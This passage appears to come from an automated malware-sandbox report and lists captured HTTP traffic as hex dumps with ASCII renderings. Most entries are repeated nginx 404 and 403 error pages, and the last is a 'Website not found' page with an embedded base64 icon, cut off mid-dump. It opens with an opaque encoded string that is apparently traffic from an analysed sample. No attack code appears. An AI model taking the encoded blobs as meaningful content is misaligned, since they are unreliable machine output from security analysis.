34 32 7a 4e 61 6f 3d Data Ascii: Kt=DewrBs2mT9lmqS0h8xo/FhwWGBpKZWTNPx5ns21VAUkobXqqdZEHSQNzlyFMh7ik9/OdrHAaMkApARbeuUnOj2o0bErQsAMAu92UJAkmv7cJP8LjujybVvacQulyg8c06pYoAu37enjigoPEZ8chlIeWCMkeUSXysmb3ArefkV9xsxcOawjHhwEKjNQKs9kgW42zNao=
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 09:19:40 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 09:19:57 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 09:20:00 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 09:20:03 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 29 Nov 2024 09:20:05 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
                Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 29 Nov 2024 09:20:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
                Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 29 Nov 2024 09:20:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
                Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 29 Nov 2024 09:20:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 29 Nov 2024 09:20:42 GMTtransfer-encoding: chunkedconnection: closeData Raw: 46 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 